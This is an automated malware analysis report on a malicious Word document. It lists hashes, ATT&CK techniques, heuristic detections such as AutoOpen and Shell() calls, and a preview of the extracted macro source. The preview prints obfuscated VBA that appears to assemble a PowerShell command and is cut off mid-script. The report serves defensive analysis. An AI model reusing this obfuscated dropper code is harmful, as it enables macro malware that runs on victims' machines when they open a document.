Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5dbf9dc9341bd506…

MALICIOUS

Office (OLE)

259.0 KB Created: 2017-12-04 15:45:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: 4346f5504d196b5155f98c8afb40eb09 SHA-1: be94f0f43d05f019a6396d6c778f741a8310ca74 SHA-256: 5dbf9dc9341bd506eb2cdf5ec294c6c3029535424aa0a42e9b045cbd95c6d3df
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains legacy WordBasic and VBA macros, including an AutoOpen macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a second-stage payload. The ClamAV detection and heuristic firings strongly suggest malicious intent, but the specific family cannot be determined from the provided evidence.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6389653-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6389653-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 126375 bytes
SHA-256: 64c6af6c6cd1c6c81d7be9fdb6d141ad78724710057182c6a5136dfb20751032
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wHqPziMdcwu"
Function WtuzmjLvfYZnXl()
jbXudFcjljT = Array(Trim(Len("sFAQCDFI" + "zzuiHqEXvJA")), Trim(Len("SMQWjbn" + "YkjoRPDmGKTMij")), Trim(Len("NGKuPTB" + "VtBatjtSbRNE")), Trim(Len("QFNsmRRlq" + "WiIDPZhYbWzOv")), Trim(Len("oKCMrruVf" + "zBzBdCkBfFfsk")), Trim(Len("itutmhQBKzDc" + "EtwtBCSFN")), Trim(Len("fuYmvjpkwZW" + "wzBiwawrAwBo")), Trim(Len("IjMipSbQROw" + "vURUNGCsW")))
kwwidiQosMF = Mid("nrnai7k6Ts+6Tsenv:public6Ts+6Ts + 6Ts+6T'+'s4ILKHl'+'4IL +6Ts+6Ts 1VJka6Ts+6Tsrapas + 6'+'Ts+6Ts'+'4I7rzwLOA3Vo9K", 8, 94)
jzqsbBWSUs = Array(Trim(Len("owLPWPAbj" + "aNLqNkXHshlbU")), Trim(Len("WHNbOBPDaQwt" + "YVDpIdJpwTpvTa")), Trim(Len("wijNiis" + "CYMfaXmuu")), Trim(Len("ozlorczKr" + "nYfuaKEvjiP")), Trim(Len("jGBQvwiRJ" + "vcfbTJnDQT")), Trim(Len("ScisREPTqKMD" + "SfnahwbaQO")), Trim(Len("DPwruIjSwiN" + "XYdtTzSOiYH")), Trim(Len("nWMWRrMB" + "BoCFXZiiu")))
ZzbOhEzhdaD = Array(Trim(Len("BsSEsJVchtjGnD" + "FHHuRjiCUCF")), Trim(Len("XmrwwJMfTMk" + "SuphEiojOqH")), Trim(Len("uzEOSqzBmiwpqu" + "wbYJsXhcWrBzq")), Trim(Len("ZQjfsEzEz" + "dPinnwAq")), Trim(Len("qrFqhOcN" + "iXRsGnMNSJ")), Trim(Len("qosdLjdotpaqKn" + "WUazQQriWaukIu")), Trim(Len("ZiqsTCzbiAk" + "TfHjHFGRsnSti")), Trim(Len("JVCRvVtSPvARTz" + "swwfcYzOtn")))
HWzqJbdw = Array(Trim(Len("PfirIlYCD" + "opiksLTLdRAV")), Trim(Len("LdMdZZYjip" + "NSLlZKoQqA")), Trim(Len("QDWkbAA" + "QNtGXNwHzcfC")), Trim(Len("AOXZzhlS" + "kfYJMIHowYf")), Trim(Len("YGTMoXdConLwsQ" + "zLcSPOndOiNBn")), Trim(Len("KiGWLbI" + "NLJHQow")), Trim(Len("ZRvUIdVGQi" + "cFdaWqCiIEbj")), Trim(Len("jwzQIIwzjuIwF" + "sjJAGcqfz")))
SFBAEYE = Mid("HhAR]75+[chAR]72+[chAR]108),[chAR]9lf7+lf72-rePLacElf7+lf'+'7  6Ts4I'+'L6Ts,[chAR]3N80zmTSQ9jiK9m7TrLcZW7wvXToTvjJI8", 2, 82)
fDiIOtdon = Array(Trim(Len("BcimLzKUtiZ" + "FPtAPMjp")), Trim(Len("JvzqTNFbJGJd" + "TQkdjCGzD")), Trim(Len("TjtQjXkCNzurh" + "vskFtkXPipvc")), Trim(Len("mcdilGDfH" + "wWDZEwjVcjA")), Trim(Len("rSBGTUDAEVGH" + "ajPIldEoSoipLT")), Trim(Len("CTTtPFkLjf" + "jbGVaQvbdNQNq")), Trim(Len("wtZiSQH" + "kwkCNrs")), Trim(Len("XicwuciwNSujp" + "lGcnTLKh")))
IuXDYjIbzas = Array(Trim(Len("lnQNKoOwkGnM" + "EzHklvLUdQX")), Trim(Len("zzEVDzAw" + "fUskpsfKM")), Trim(Len("fjAEDwsEjmOHWs" + "MoKcjHm")), Trim(Len("RZcPzvDfK" + "RsiwvBWKu")), Trim(Len("MzXwzhcDU" + "fstSjfajtIjG")), Trim(Len("qFAZQtJ" + "WNVASBi")), Trim(Len("RTzLdlZzL" + "QanRlkGvh")), Trim(Len("wIMKKbJiXSQdv" + "bpjvbEfBO")))
HuiTst = Array(Trim(Len("HjHITslZHvr" + "kYXwCVPojHFER")), Trim(Len("BqRQZIVQHcJ" + "YQVLKBWhuYfJ")), Trim(Len("uEhsAdCqsru" + "rWiXUQvn")), Trim(Len("zwTXzDikjc" + "HofDoXHw")), Trim(Len("sjYaESfn" + "aHjVIzGO")), Trim(Len("CaTGLOjADq" + "jwJwjbQZsTf")), Trim(Len("ubGUbljiza" + "FYmmUKq")), Trim(Len("OoIZiwm" + "jjjVCXCZfFtIO")))
spzDAVfwq = Mid("niJwXs+6Tsndom6Ts+6'+'Ts;1V6Tlf7+lf7s+6TsJb6Ts+6Tsc6Ts+6TsdMiJfzGqnVw9fiznwTRKiD", 6, 54)
linaZGHOOn = Array(Trim(Len("diSEbku" + "TlRJGpACcu")), Trim(Len("twmfUpvDKUc" + "zuKjcIED")), Trim(Len("XuKJBSjrvZbl" + "VFrDwPjhjCq")), Trim(Len("UPwJXtYroV" + "bVTXMMP")), Trim(Len("AbXZEpYJpWForT" + "jDmiXfDulzDP")), Trim(Len("frUUUHqzzpsT" + "kiUihLIkmTZirQ")), Trim(Len("hlZAaqizClTkdn" + "NuOYuUZCSsGz")), Trim(Len("YupcrsPLQrsJG" + "RzNafwCGiQTV")))
DZUtYahQRZ = Array(Trim(Len("IjJuEYtpvP" + "PQjlBcW")), Trim(Len("wzBREAhWNHPQi" + "rfcPjuOvrkQTm")), Trim(Len("SndcXTRY" + "PEuWCjhj")), Trim(Len("TZYEJlsbaBHRAl" + "bDadmsOYT")), Trim(Len("MLpYLPJERz" + "hNdskvtPQ")), Trim(Len("OTjuwFEtGFBFf" + "aDDOmzMimAtpzl")), Trim(Len("zVICiwr" + "dNJFKLuL")), Trim(Len("ijRhsidTdfj" + "AIHTrIjtCzwi")))
IJksI = Array(Trim(Len("YLzZZkl" + "llYCfWRSXzKf")), Trim(Len("MEQCcXuBKqoz" + "OICroIq")), Trim(Len("tNQvUvM" + "SuYzTMHhXwN")), Trim(Len("havkFfHIQjJCo" + "SqAGIchUsvP")), Trim(Len("jCBVUruAWTSfqp" + "EQlkWKptRjQol")), Trim(Len("Mh
... (truncated)